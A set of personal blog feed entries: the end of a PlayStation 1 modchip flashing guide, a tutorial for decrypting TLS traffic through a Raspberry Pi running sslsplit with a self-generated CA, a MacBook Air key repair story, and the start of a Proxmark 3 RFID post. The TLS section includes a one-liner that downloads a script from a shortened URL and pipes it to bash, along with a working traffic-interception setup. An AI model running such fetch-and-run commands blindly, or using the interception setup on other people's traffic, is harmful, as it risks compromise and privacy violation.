<p>While I do have an Arduino, I prefer to use the MM3 and Mayumi chips over PSNee. If you want to make a PSNee modchip, you can follow the <a href="http://www.instructables.com/id/Program-an-ATtiny-with-Arduino/">instructions here</a> to flash the <a href="https://github.com/kalymos/PsNee/blob/master/PsNee.ino">.ino file</a> to your Attiny.</p>
</blockquote>
<p>You will need:</p>
<ul>
<li><a href="https://www.ebay.com/sch/i.html?_nkw=PIC12F508+DIP">Microchip PIC12F508</a></li>
<li><a href="https://amzn.to/2tfdeP0">PICkit 3</a>
<ul>
<li>Also download and install <a href="http://www.microchip.com/mplab/mplab-x-ide">MPLAB IPE</a> from the MPLAB X IDE package.</li>
</ul>
</li>
<li>Some kind of <a href="https://amzn.to/2llKUG7">wiring &amp; breadboard</a> to connect the PIC to to the PICkit.</li>
<li>HEX codes for the modchip of your choice (provided below).</li>
</ul>
<blockquote>
<p>Many tutorials call for the PIC12C508. This is an old model and continuing to use them is unnecessary unless you have them stockpiled. HEX codes that work for the 12C will work for the 12F.</p>
</blockquote>
<p>To begin you should first look your IC and determine which leg is which. The leg nearest the imprinted circle is Pin 1. The leg opposite it is Pin 8.</p>
<p><img src="https://blog.kchung.co/content/images/2018/06/pic12f508-2.JPG" alt="Making PlayStation 1 Modchips" loading="lazy"></p>
<p>You can plug this into a bread board and then wire it into the Pickit according to the following diagrams. You want to match the following (the rest are unused for now):</p>
<ul>
<li>PICKit 1 &#x27F7; IC 4 (V<sub>PP</sub>)</li>
<li>PICKit 2 &#x27F7; IC 1 (V<sub>DD</sub>)</li>
<li>PICKit 3 &#x27F7; IC 8 (V<sub>SS</sub>)</li>
<li>PICKit 4 &#x27F7; IC 7 (ICSPDAT)</li>
<li>PICKit 5 &#x27F7; IC 6 (ICSPCLK)</li>
</ul>
<p><img src="https://blog.kchung.co/content/images/2018/06/pickit-12f508-1.jpg" alt="Making PlayStation 1 Modchips" loading="lazy"></p>
<p>Once you&apos;ve properly wired up the chip, connect the PICKit to your computer and start MPLAB IPE. Under <code>Device</code> select <code>PIC12F508</code>.</p>
<p>Go into <code>Settings &gt; Advanced Mode</code>. The default password for <code>Advanced Mode</code> is <code>microchip</code>. I don&apos;t recommend changing it, not sure why the option is even available.</p>
<p>Go into the <code>Power</code> tab on the left and enable <code>Power Target Circuit from Tool</code>.</p>
<p><img src="https://blog.kchung.co/content/images/2018/06/Screen-Shot-2018-06-20-at-8.39.15-PM.png" alt="Making PlayStation 1 Modchips" loading="lazy"></p>
<p>Go back to the <code>Operate</code> tab and hit <code>Connect</code>.</p>
<p><img src="https://blog.kchung.co/content/images/2018/06/Screen-Shot-2018-06-20-at-8.40.54-PM.png" alt="Making PlayStation 1 Modchips" loading="lazy"></p>
<p>From here download the appropriate HEX code for your chip and console. They are different per console region.</p>
<ul>
<li><a href="https://raw.githubusercontent.com/wiki/ColdHeat/PsNeePy/hexcodes/mm3/MM3USA.HEX">MM3 for American Consoles</a></li>
<li><a href="https://raw.githubusercontent.com/wiki/ColdHeat/PsNeePy/hexcodes/mm3/MM3EUR.HEX">MM3 for European Consoles</a></li>
<li><a href="https://raw.githubusercontent.com/wiki/ColdHeat/PsNeePy/hexcodes/mm3/MM3JAP.HEX">MM3 for Japanese Consoles</a></li>
</ul>
<p>You can also use Mayumi v4 on the PIC12F508 if you choose.</p>
<ul>
<li><a href="https://raw.githubusercontent.com/wiki/ColdHeat/PsNeePy/hexcodes/mayumiv4/mayumi-usa4.hex">MayumiV4 for American Consoles</a></li>
<li><a href="https://raw.githubusercontent.com/wiki/ColdHeat/PsNeePy/hexcodes/mayumiv4/mayumi-eu4.hex">MayumiV4 for European Consoles</a></li>
<li><a href="https://raw.githubusercontent.com/wiki/ColdHeat/PsNeePy/hexcodes/mayumiv4/mayumi-jap4.hex">MayumiV4 for Japanese Consoles</a></li>
</ul>
<p>In the <code>Source</code> file, select your hex code.</p>
<p>Hit the big <code>Program</code> button.</p>
<p>You should see something similar to the following text:</p>
<pre><code>2018-06-20 20:48:02 -0400 - Loading hex file. Please wait...
Loading code from /Users/kchung/Repositories/PsNeePy.wiki/hexcodes/mm3/MM3USA.HEX...
2018-06-20 20:48:03 -0400 - Hex file loaded successfully.

2018-06-20 20:48:20 -0400 - Programming...

Device Erased...

Programming...

The following memory area(s) will be programmed:
program memory: start address = 0x0, end address = 0x1e7
configuration memory
Programming/Verify complete
2018-06-20 20:48:25 -0400 - Programming complete
</code></pre>
<p>If you&apos;d like, you can hit the <code>Verify</code> button to make sure that your flash was correct. Your output should look something like the following:</p>
<pre><code>2018-06-20 20:50:10 -0400 - Verifying...

Verifying...

The following memory areas(s) will be verified:
program memory: start address = 0x0, end address = 0x1ff
configuration memory
User Id Memory

Verification successful.
2018-06-20 20:50:13 -0400 - Verify complete
</code></pre>
<p>From here you can follow online diagrams for soldering your chip to the PSX that you own. I personally used <a href="https://quade.co/ps1-modchip-guide">William Quade&apos;s excellent diagrams</a> and think you should as well.</p>
<h1 id="creatinganewps1modchip">Creating A New PS1 Modchip</h1>
<p>While looking at all these modchips, I figured it would be nice to read and write Python code instead of Assembly and C code so I started working on porting PSNee to Python.</p>
<p>By using <a href="https://micropython.org/">MicroPython</a> and an <a href="https://amzn.to/2K4HdTq">ESP8266</a> we can actually create a modchip that we can remotely update and modify through the <a href="https://amzn.to/2K4HdTq">ESP8266</a>&apos;s WiFi.</p>
<p><img src="https://blog.kchung.co/content/images/2018/06/IMG_1084.jpg" alt="Making PlayStation 1 Modchips" loading="lazy"></p>
<p>In the above photo (SCPH-7501), the ESP8266 is on the top left with the headers face up. The wires connect to the headers and route under the CD drive to a breadboard on the bottom right.</p>
<blockquote>
<p>The breadboard has wires that are soldered to the correct MM3 points and then labeled with the corresponding pin number. By using this breadboard I can test modchips that I make much faster than soldering to the board over and over again.</p>
</blockquote>
<p>My modchip (named PsNeePy) is available on Github:<br>
<a href="https://github.com/ColdHeat/PsNeePy">https://github.com/ColdHeat/PsNeePy</a></p>
<p>While my test console is quite bad at reading discs and the console rarely boots into games, the modchip does work.</p>
<blockquote>
<p>For the most part (ignoring stealth functionality), modchips are known to be working once you reach the black Playstation logo screen as this indicates that the CPU considers the game authentic.</p>
</blockquote>
<p>However, because the code is based off an older version of PSNee, stealth functionality does not seem to work on some newer PS1 revisions.</p>
<p>I mostly created this as a proof of concept and I&apos;m unlikely to maintain it very much. While I don&apos;t recommend using my modchip, I hope that the community adopts it and helps improve it. Despite being a dead console, the PSX community is fairly active.</p>
<p>With <a href="https://github.com/ColdHeat/PsNeePy">PsNeePy</a>, you can remotely update the ESP8266 over WiFi, debug remotely, and also reset the chip easily. Having spent many hours working on the PS1 at this point, a more modern experience is quite refreshing.</p>
<p><img src="https://blog.kchung.co/content/images/2018/06/Screen-Shot-2018-06-21-at-2.47.33-AM.png" alt="Making PlayStation 1 Modchips" loading="lazy"></p>
<p>Thanks to an anonymous friend for my PS1, Sharan for fixing my PS1, <a href="https://quade.co/">William Quade</a> for the excellent diagrams, AssemblerGames for having good information despite not accepting me into the forum, and PSXDEV for answering some of my questions.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Recording and Decrypting SSL Encrypted Traffic]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>There comes a time in every engineer&apos;s life where it becomes necessary to decrypt SSL/TLS encrypted traffic. Whether it&apos;s debugging, security analysis, or just to have plaintext records of traffic, SSL can just get in the way.</p>
<p>I recently needed to make a packet capture</p>]]></description><link>https://blog.kchung.co/recording-and-decrypting-ssl-encrypted-traffic/</link><guid isPermaLink="false">605674d3f4c4b90001d0202b</guid><category><![CDATA[networking]]></category><category><![CDATA[SSL/TLS]]></category><category><![CDATA[raspberry pi]]></category><category><![CDATA[wireshark]]></category><dc:creator><![CDATA[Kevin Chung]]></dc:creator><pubDate>Sun, 03 Jun 2018 05:31:21 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><p>There comes a time in every engineer&apos;s life where it becomes necessary to decrypt SSL/TLS encrypted traffic. Whether it&apos;s debugging, security analysis, or just to have plaintext records of traffic, SSL can just get in the way.</p>
<p>I recently needed to make a packet capture (pcap) of decrypted SSL traffic. Most tools just generate text files and logs of the decrypted SSL traffic but it&apos;s significantly easier to work with pcaps because they already have a wealth of existing tooling.</p>
<p>Unfortunately it&apos;s not possible (as far as I can tell) to generate a pcap, decrypt the traffic, and save the decrypted version as a single pcap. However, we can approximate it very closely by saving the encrypted pcap with SSL session keys alongside it.</p>
<blockquote>
<p>I should make a note here that this <strong>of course</strong> will only work on clients that you control enough to install a new certificate authority.</p>
</blockquote>
<blockquote>
<p>There&apos;s no secret SSL decrypting magic wand here.</p>
</blockquote>
<h1 id="recordingenvironment">Recording Environment</h1>
<p>When you&apos;re recording pcaps for analysis or teaching it&apos;s good to get a clean capture. You don&apos;t want your students or coworkers to see your Reddit history in the networking traffic after all.</p>
<h5 id="hardwareused">Hardware Used:</h5>
<ul>
<li><a href="https://amzn.to/2sBUIPr">Raspberry Pi with Ethernet and Wifi</a></li>
<li><a href="https://amzn.to/2JfCHgU">A MicroSD card preferably 16 GB or greater</a></li>
<li>Ethernet Cable (and a place to plug it into for internet)</li>
<li>Micro USB charger and cable or other power supply</li>
<li><a href="https://amzn.to/2xDpkpL">ALFA USB wifi adapter</a> or other USB wireless adapter. I used an <code>Alfa AWUS051NH</code> but it doesn&apos;t really matter as we&apos;re only using this to isolate the target device&apos;s internet connection.</li>
</ul>
<h2 id="asimplerouter">A Simple Router</h2>
<p>Raspberry Pi&apos;s are the greatest little computers ever! In this case they will act as our recording device since we can route all of a computer&apos;s traffic through it and then record on the Pi.</p>
<ol>
<li>
<p>Setup Raspbian Stretch Lite according to the <a href="https://www.raspberrypi.org/documentation/installation/installing-images/">instructions here</a></p>
</li>
<li>
<p>Enable SSH by putting a file named <code>ssh</code> onto the MicroSD card as discussed <a href="https://raspberrypi.stackexchange.com/questions/73119/enabling-ssh-by-default-on-raspbian-stretch">here</a></p>
</li>
<li>
<p>Plug in the Raspberry Pi to ethernet and power</p>
</li>
<li>
<p>SSH into the Raspberry Pi. Default username is <code>pi</code> and the default password is <code>raspberry</code></p>
</li>
</ol>
<p>At this point we have a basic Raspberry Pi setup. I choose to leave things (username, password, etc.) default since my Raspberry Pi&apos;s change uses often but if you are going to leave this somewhere, you might want to consider changing the password and other security related things.</p>
<ol start="5">
<li>Now we want to convert the Pi into a router. This simplifies the process of connecting different devices. I&apos;ve played around with a couple of different ways to do this but the definite best way is to setup <a href="https://github.com/billz/raspap-webgui">RaspAP</a> with the following one liner (copied from their Github) and following its instructions:</li>
</ol>
<p><code>wget -q https://git.io/voEUQ -O /tmp/raspap &amp;&amp; bash /tmp/raspap</code></p>
<p>Once the Pi reboots we are going to setup the SSL decryption aspect of this endeavor.</p>
<h2 id="ssldecryption">SSL Decryption</h2>
<ol>
<li>
<p>Run the following commands on the Pi to generate a certificate that you can use for SSL decryption.</p>
</li>
<li>
<p><code>openssl genrsa -out ca.key 4096</code></p>
</li>
<li>
<p><code>openssl req -new -x509 -key ca.key -out ca.crt</code></p>
</li>
</ol>
<blockquote>
<p>It will be useful to transfer the <code>ca.key</code> and <code>ca.crt</code> files to your computer for later.</p>
</blockquote>
<p>From here we are going to setup a tool called <code>sslsplit</code> which can intercept &amp; retransmit SSL connections for us.</p>
<p><code>sslsplit</code> will terminate SSL connections at the router, clone them to their original destination and then proxy the data back to the original connection. Provided that the <code>ca.crt</code> file that we just generated is installed on the connecting client, the client won&apos;t have any kinds of &quot;insecure connection&quot; errors.</p>
<p>Unfortunately the version of <code>sslsplit</code> inside of the Raspbian apt repositories is out of date and we need an option from a more recent version. Thus we will need to build it.</p>
<ol start="2">
<li>
<p>Download and build the <code>sslsplit</code> source code</p>
</li>
<li>
<p><code>sudo apt-get update</code></p>
</li>
<li>
<p><code>sudo apt-get install libssl-dev libevent-dev</code></p>
</li>
<li>
<p><code>git clone https://github.com/droe/sslsplit.git</code></p>
</li>
<li>
<p><code>cd sslsplit</code></p>
</li>
<li>
<p><code>make</code></p>
</li>
<li>
<p><code>make install</code></p>
</li>
<li>
<p>Verify that you have the <code>-M</code> option inside of <code>sslsplit -h</code></p>
</li>
<li>
<p>Create a simple sslscript wrapper.</p>
</li>
</ol>
<pre><code class="language-bash">#!/bin/bash
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080

mkdir /tmp/sslsplit/
mkdir logdir

sslsplit \
  -D \
  -l connections.log \
  -j /tmp/sslsplit/ \
  -M ssl_key_logfile \
  -S logdir/ \
  -k ca.key \
  -c ca.crt \
   ssl 0.0.0.0 8443 \
   tcp 0.0.0.0 8080
</code></pre>
<p>This script will route traffic heading to a specific port over to <code>sslsplit</code> listening on port <code>8443</code> or port <code>8080</code>.</p>
<blockquote>
<p><strong>Note</strong>: You shouldn&apos;t really intercept traffic that should be plaintext (e.g. HTTP, FTP, TELNET.) Since they&apos;re in plaintext they can be easily recorded without a proxy in between.</p>
</blockquote>
<h2 id="settinguptheclient">Setting up the Client</h2>
<p>If you want your pcap to be completely isolated and clean from contamination from your traffic. You should setup a virtual machine using VMWare Player or Virtualbox. From there you can plug in a <a href="https://amzn.to/2xDpkpL">USB Wifi Adapter</a> into the virtual machine to give it Wi-Fi capabilities.</p>
<p>By using a VM and a separate wireless adapter, you can use your host computer to do research or other tasks and then specifically use the VM to generate traffic. This is of course entirely optional and you can just use your computer normally to connect but I prefer to use a virtual machine.</p>
<p>Within the virtual machine or other computer, we need to properly configure the client to trust the certificate authority that we generated earlier.</p>
<blockquote>
<p>This step is critical because if it isn&apos;t done you will get consistent &quot;Insecure Connection&quot; errors. This will make your PCAPs pretty useless.</p>
</blockquote>
<p>This process differs between clients. For one client you might just need to open a dialog and import the certificate, for another you might need to drop the <code>ca.crt</code> file in a special folder or patch it into a binary.</p>
<p>For simplicity&apos;s sake we will look at how this is done in Firefox.</p>
<blockquote>
<p>I use Chrome generally but Firefox has its own SSL stack whereas Chrome uses the system&apos;s. By using Firefox, I can avoid installing the fake certificate in my system globally.</p>
</blockquote>
<ol>
<li>
<p>Transfer the <code>ca.key</code> and <code>ca.crt</code> files from the Raspberry Pi to the client device.</p>
</li>
<li>
<p>Download and install <a href="https://www.mozilla.org/en-US/firefox/new/">Mozilla Firefox</a></p>
</li>
<li>
<p>Open Firefox and go to Preferences. It&apos;s location depends on the OS but you can expect it to be under <code>Edit &gt; Preferences</code> or <code>Firefox &gt; Preferences</code>.</p>
</li>
</ol>
<p><img src="https://blog.kchung.co/content/images/2018/05/Screen-Shot-2018-05-31-at-1.20.25-PM.png" alt loading="lazy"></p>
<ol start="4">
<li>From the <code>Preferences</code> window, search for &quot;certificates&quot;.</li>
</ol>
<p><img src="https://blog.kchung.co/content/images/2018/05/Screen-Shot-2018-05-31-at-1.22.49-PM.png" alt loading="lazy"></p>
<ol start="5">
<li>Hit <code>View Certificates</code> and the <code>Authorities</code> tab</li>
</ol>
<p><img src="https://blog.kchung.co/content/images/2018/05/Screen-Shot-2018-05-31-at-1.21.43-PM.png" alt loading="lazy"></p>
<ol start="6">
<li>Hit <code>Import</code> and then choose the <code>ca.crt</code> file that was generated earlier. When asked, you only need to check on &quot;Trust this CA to identify websites.&quot;</li>
</ol>
<p><img src="https://blog.kchung.co/content/images/2018/05/Screen-Shot-2018-05-31-at-1.34.53-PM.png" alt loading="lazy"></p>
<h2 id="hittingrecord">Hitting Record</h2>
<p>Now that the client and router are all set, we should be able to connect and record the client&apos;s traffic.</p>
<p>As I mentioned earlier, the recording that we get won&apos;t be entirely decrypted. The connections are still SSL encrypted but we will have the keys needed to decrypt and have a pcap that we can work with.</p>
<ol>
<li>Plug in the Raspberry Pi created earlier and connect to the wireless network it creates using your device or virtual machine.</li>
</ol>
<p>The default SSID should be <code>raspi-webgui</code> and the default password should be <code>ChangeMe</code>. You can find more details about the network on <a href="https://github.com/billz/raspap-webgui#quick-installer">RaspAP&apos;s github page</a>.</p>
<ol start="2">
<li>On the Pi, run the <code>sslsplit</code> bash script we created earlier in <code>tmux</code> or <code>screen</code>.</li>
</ol>
<blockquote>
<p>I prefer to use the <code>tmux/screen</code> wrapper <code>byobu</code> which can be installed with <code>sudo apt-get install byobu</code></p>
</blockquote>
<ol start="3">
<li>Start tcpdump to record a pcap by running:</li>
</ol>
<p><code>sudo tcpdump -i wlan0 -w capture.pcap</code></p>
<ol start="4">
<li>Using your device verify that you can initiate HTTPS connections that aren&apos;t considered insecure.</li>
</ol>
<p>Also verify that sslsplit lists the SSL certificates of your connections and is also storing the raw decrypted traffic in the logdir folder.</p>
<p><img src="https://blog.kchung.co/content/images/2018/05/Screen-Shot-2018-05-31-at-2.16.57-PM.png" alt loading="lazy"></p>
<p>You should also verify that an <code>ssl_key_logfile</code> is being generated which should be filled with entries that look like this:</p>
<p><code>CLIENT_RANDOM 128BFD53FB54B81FED7F9C7AFF25F25DB128015FEE7E5C22D2DFC3B22F9A069B</code></p>
<ol start="5">
<li>Do whatever traffic you wish to record and then stop tcpdump and copy <code>capture.pcap</code> or whatever the filename is to your computer.</li>
</ol>
<h2 id="analyzingandsharingthepacketcapture">Analyzing and Sharing the Packet Capture</h2>
<p>As is traditional, it&apos;s easiest to use Wireshark to analyze a pcap.</p>
<p>However of course, this traffic will be encrypted by SSL &amp; TLS meaning most of it will be entirely useless.</p>
<p><img src="https://blog.kchung.co/content/images/2018/05/Screen-Shot-2018-05-31-at-2.42.54-PM.png" alt="Only 12 HTTP packets..." loading="lazy"></p>
<ol>
<li>Open Wireshark and go to <code>Preferences &gt; Protocols &gt; SSL</code>.</li>
</ol>
<p><img src="https://blog.kchung.co/content/images/2018/05/Screen-Shot-2018-05-31-at-2.46.01-PM.png" alt loading="lazy"></p>
<p>Install the <code>ssl_key_logfile</code> that was generated earlier into the <code>(Pre)-Master-Secret log filename</code> section.</p>
<ol start="2">
<li>After installing the <code>ssl_key_logfile</code> you should see many more useable packets of information.</li>
</ol>
<p><img src="https://blog.kchung.co/content/images/2018/05/Screen-Shot-2018-05-31-at-2.49.26-PM.png" alt="1192 packets, much better" loading="lazy"></p>
<ol start="3">
<li>Now that we can decrypt things appropriately we can either simply share the pcap with the <code>ssl_key_logfile</code>, or we can have Wireshark export only the SSL keys that were used in this particular pcap.</li>
</ol>
<p>This can be done by going to <code>File &gt; Export SSL Session Keys</code>.</p>
<p>Finally after much setup, we have our &quot;decrypted&quot; pcap that we can provide to students, coworkers, etc. We can also use it with <code>tshark</code> for CLI pcap processing.</p>
<pre><code>sudo tshark -r capture.pcap -o &quot;ssl.desegment_ssl_records: TRUE&quot; \
-o &quot;ssl.desegment_ssl_application_data: TRUE&quot; \
-o &quot;ssl.keylog_file:/home/vagrant/ssl_key_logfile&quot; \
-o &quot;ssl.debug_file: /tmp/ssl-debug.log&quot; \
</code></pre>
<p>This was very useful for me but this setup likely won&apos;t work for every situation. For example, <code>sslsplit</code> is <a href="https://github.com/droe/sslsplit/issues/46">missing client certificate support at the time of writing</a> but this setup should be a vast improvement over tools that are just storing decrypted text without connection information.</p>
<p>In addition, this setup is something that you can simply just leave running and not have to setup again and again.</p>
<p>Potentially pretty useful for research setups!</p>
<p>Thanks to <a href="https://blog.heckel.xyz/2013/08/04/use-sslsplit-to-transparently-sniff-tls-ssl-connections/">Phillip Heckel</a> and <a href="https://www.trustwave.com/Resources/SpiderLabs-Blog/Intercepting-SSL-And-HTTPS-Traffic-With-mitmproxy-and-SSLsplit/">TrustWave</a></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Replacing Macbook Air Keys]]></title><description><![CDATA[A friend of mine ran into a problem. 

The keys on her Macbook Air started randomly falling off the keyboard!]]></description><link>https://blog.kchung.co/replacing-macbook-air-keys/</link><guid isPermaLink="false">605674d3f4c4b90001d02028</guid><category><![CDATA[tech support]]></category><category><![CDATA[hardware]]></category><category><![CDATA[macbook air]]></category><dc:creator><![CDATA[Kevin Chung]]></dc:creator><pubDate>Sun, 05 Nov 2017 22:58:53 GMT</pubDate><media:content url="https://blog.kchung.co/content/images/2017/11/IMG_0889-1.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://blog.kchung.co/content/images/2017/11/IMG_0889-1.jpg" alt="Replacing Macbook Air Keys"><p>A friend of mine ran into a problem.</p>
<p>The keys on her Macbook Air started randomly falling off the keyboard! Not only is this a problem, but it seemed to be spreading. Four keys had become loose and were randomly falling off while typing.</p>
<p>This is the story of all about how I saved a friend $200 in Macbook repairs.</p>
<p><strong>TL;DR:</strong> Replace scissor switches on the Macbook Air by buying a new keyboard assembly and salvaging keys &amp; switches from the part itself.</p>
<iframe width="100%" height="400px" src="https://gfycat.com/ifr/DazzlingWeeLeonberger" frameborder="0" gesture="media" allowfullscreen></iframe>
<p>The first instinct of most Apple customers is obvious and correct. If you are having problems with an Apple product and you are not sure what to do, <strong>go to the Genius Bar</strong>. They have the <a href="https://www.cultofmac.com/252956/genius-bar-repair-gifcity/">right tools and information</a> to repair their hardware.</p>
<p>For my friend, their solution was to replace the key on the laptop. This worked for about a month before the keys started falling off en-masse.</p>
<p>Going back to the Genius Bar, the recommendation was to replace the entire keyboard assembly (and top assembly) costing about $200. The geniuses did replace the keys but it didn&apos;t help. For a four year old laptop, $200 is almost half its value so I offered to help.</p>
<p>Taking a look at the problem, I noticed that a key was prone to falling off if you hit it in a certain corner. If you hit it in the center, the key generally stayed on a little longer and still worked. This is a clue that the underlying key mechanism is still working.</p>
<blockquote>
<p>Most keyboards are a very flat plastic circuit with a large dimpled rubber sheet atop it. When you press a key, you&apos;re really pressing on the rubber dome underneath the key. This completes a circuit which tells the keyboard&apos;s internal micro-processor what key you&apos;re pressing. The keyboard then translates this data into some numbers and sends it to your computer. Your computer takes this data and renders the appropriate character based on the numbers received from the keyboard.</p>
</blockquote>
<p>If the keyboard circuitry itself is working, why should we have to replace the entire keyboard assembly?</p>
<h2 id="formingahypothesis">Forming a hypothesis</h2>
<p>As with most problems it&apos;s useful to root-cause what the source of your headaches is and form a hypothesis. With a keyboard you generally have about 4 potential problem sources:</p>
<ol>
<li>The keyboard circuitry itself.</li>
<li>The rubber domes/switches/contact detection method.</li>
<li>The parts holding the keycap to the keyboard.</li>
<li>The keycap itself.</li>
</ol>
<p>We know that it can&apos;t be 1 or 2 because the button still works.</p>
<blockquote>
<p>The rubber domes rarely ever break. They&apos;re usually only ever broken because a repair went bad. Usually the fragile little dome gets accidentally torn.</p>
</blockquote>
<p>That leaves us with the scissor switches (3) or the keycap itself (4). It really can&apos;t be the keycap itself because the Apple Genius supposedly swapped the key.</p>
<p><strong>That leaves us with the scissor switch.</strong></p>
<p>Therefore my hypothesis is as follows:</p>
<blockquote>
<p>&quot;Years of typing have worn out the scissor switch such that it is imperceptibly bent. By pushing one corner of the key the opposite corner lifts off of the switch, removing it from the keyboard assembly.&quot;</p>
</blockquote>
<p>I don&apos;t have random Macbook parts lying around. I&apos;m not insane. So to test our hypothesis, we should swap the scissor switch from one key to another.</p>
<p>Most key replacement tutorials don&apos;t cover removing the scissor switches because it&apos;s not very common. The basic goal is to get under the white plastic switch and flex the switch off of the hooks.</p>
<p><img src="https://blog.kchung.co/content/images/2017/11/IMG_0879.jpg" alt="Replacing Macbook Air Keys" loading="lazy"></p>
<p>To remove keys along with the switch from the keyboard:</p>
<ol>
<li>Get a plastic <a href="http://amzn.to/2z3iqHl">blue spudger</a></li>
<li>Lift under the right or left side of the key</li>
<li>Insert the key under the scissor switch mechanism (not too far, remember the button dome)</li>
<li>Slide down to remove the switch from the bottom metal hook.</li>
<li>Repeat steps 2-4 on the opposite side.</li>
<li>The key should come off with some light wiggling to remove it from the top hooks.</li>
</ol>
<p>Do this carefully enough and the entire switch should come off.</p>
<blockquote>
<p>To remove the switch you really should use <a href="http://amzn.to/2z3iqHl">one of those blue spudgers</a>. I personally have an older version of the <a href="http://amzn.to/2xGUUyd">iFixit Pro Tech Toolkit</a> that iFixit kindly gifted me from a bug bounty. It comes with all the tools you might need to work on tiny electronics. <strong>Thanks iFixit!</strong></p>
</blockquote>
<p>By swapping the two keys an and their switches we make a great discovery.</p>
<p>The original broken key remains broken in its new home and the working key remains working as well.</p>
<p>Thus our hypothesis is confirmed, the switch is broken somehow.</p>
<h2 id="replacingtheswitches">Replacing the switches</h2>
<p>Going to a site like <a href="https://www.replacementlaptopkeys.com/">https://www.replacementlaptopkeys.com/</a> could be the right decision if you&apos;re missing a single key. It comes out to $8 for a single key, switch, rubber dome, and shipping.</p>
<p>That could cost something like $25 to replace all four broken keys with no margin for error (e.g a switch breaks when you pull it off).</p>
<p>Instead we can look at the problem more intelligently. For one thing, we really are more interested in the switch than the keycap. The Genius Bar seems to be happy to replace them for free. So how much is <em>just the switch</em>?</p>
<p>Unfortunately it&apos;s seemingly <em>IMPOSSIBLE</em> to purchase just the switch. I checked Amazon, Ebay, Alibaba, etc. and I simply could not find anyone selling just the switch.</p>
<p>Okay, next best thing. We can buy the <a href="http://amzn.to/2h1hdvu">keyboard assembly itself</a> for about $15-$20. What may not be obvious is that it&apos;s a full keyboard assembly meaning it comes with the keys, switches, domes, built in.</p>
<p><img src="https://blog.kchung.co/content/images/2017/11/IMG_0887.jpg" alt="Replacing Macbook Air Keys" loading="lazy"></p>
<p>Now we can replace the switches and keys with our <a href="http://amzn.to/2z3iqHl">spudgers</a> and have room for error in case we accidentally completely break a switch.</p>
<p>It&apos;s not much different removing keys from the new keyboard assembly part. In fact it&apos;s a little easier because you are not hindered by the aluminum casing. Refer to the instructions above to get this done.</p>
<p>Effectively the goal is to remove the broken keys+switches from the old keyboard assembly and replace them with new keys+switches from the new keyboard assembly. This should take about 10 minutes if you go slowly. Replacing the entire keyboard assembly will take at least an hour.</p>
<p><img src="https://blog.kchung.co/content/images/2017/11/IMG_0888.jpg" alt="Replacing Macbook Air Keys" loading="lazy"></p>
<p>Lo and behold! A fully functioning keyboard, for a fraction of the Apple suggested price!</p>
<p><img src="https://blog.kchung.co/content/images/2017/11/IMG_0890.jpg" alt="Replacing Macbook Air Keys" loading="lazy"></p>
<p>If you have a friend that gives you tech support, be sure to show your appreciation. They can really save you some &#x1F4B0;&#x1F4B0;&#x1F4B0;</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[RFID Hacking with The Proxmark 3]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Radio-frequency identification (RFID) is a widely used technology for the tracking and identification of objects that have been &quot;tagged&quot; with small RFID tags. These tags often come in the shape of little keychains, cards, and stickers. They can be seen in many different kind of systems and are</p>]]></description><link>https://blog.kchung.co/rfid-hacking-with-the-proxmark-3/</link><guid isPermaLink="false">605674d3f4c4b90001d02027</guid><category><![CDATA[rfid]]></category><category><![CDATA[hacking]]></category><category><![CDATA[proxmark3]]></category><dc:creator><![CDATA[Kevin Chung]]></dc:creator><pubDate>Tue, 30 May 2017 00:00:39 GMT</pubDate><media:content url="https://blog.kchung.co/content/images/2017/05/proxmark_laptop.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://blog.kchung.co/content/images/2017/05/proxmark_laptop.jpg" alt="RFID Hacking with The Proxmark 3"><p>Radio-frequency identification (RFID) is a widely used technology for the tracking and identification of objects that have been &quot;tagged&quot; with small RFID tags. These tags often come in the shape of little keychains, cards, and stickers. They can be seen in many different kind of systems and are often relied upon instead of keys or cash money.</p>
<p>I personally find wireless technologies very interesting and especially love RFID systems so during my <a href="https://blog.kchung.co/reverse-engineering-hid-iclass-master-keys/">research for the HID iClass system</a> it became prudent to buy a Proxmark 3.</p>
<h1 id="proxmark3">Proxmark 3</h1>
<blockquote>
<p>The Proxmark III is a device developed by Jonathan Westhues that enables sniffing, reading and cloning of RFID (Radio Frequency Identification) tags.</p>
</blockquote>
<p><img src="https://blog.kchung.co/content/images/2017/05/proxmark-1.jpg" alt="RFID Hacking with The Proxmark 3" loading="lazy"></p>
<p>The Proxmark III (PM3) is the defacto RFID research tool. There are other alternative tools but none have the community and prevalence of the PM3. It&apos;s capable of reading, writing, and emulating many of the currently available RFID tags. In addition, there is a <a href="http://proxmark.org/forum/index.php">quiet community forum</a> where some highly-technical volunteers share custom Proxmark firmwares and much needed information about RFID research.</p>
<p>If you are serious about researching RFID systems, you need a Proxmark 3. There&apos;s no question about it.</p>
<h2 id="gettingaproxmark">Getting a Proxmark</h2>
<p>The Proxmark website <a href="http://www.proxmark.org/?order">lists a few retailers</a> where you can purchase a PM3 but I&apos;ll discuss how I got mine and what I paid for it.</p>
<hr>
<h6 id="coupon">Coupon</h6>
<p>Sam from <a href="https://lab401.com/">Lab401</a> reached out and offered a coupon code for a Proxmark 3 from their store for my readers!</p>
<p>Use code <code>CHUNG401</code> for a 50 euros/dollars discount on a cart with a <a href="https://lab401.com/proxmark/8-proxmark-3-rdv2.html">Proxmark 3</a>, <a href="https://lab401.com/mifare/10-mifare-4k-uid-modifiable.html">MIFARE 4K tags</a>, and <a href="https://lab401.com/ultralight/11-ultralight-uid-modifiable.html">Ultralight UID tags</a>.</p>
<hr>
<p>For one thing, I purchased the RDV2 version of the Proxmark which isn&apos;t the open source version but makes some improvements over the initial release. Notably it&apos;s smaller, has support for a battery, and uses MMCX cables instead of USB cables.</p>
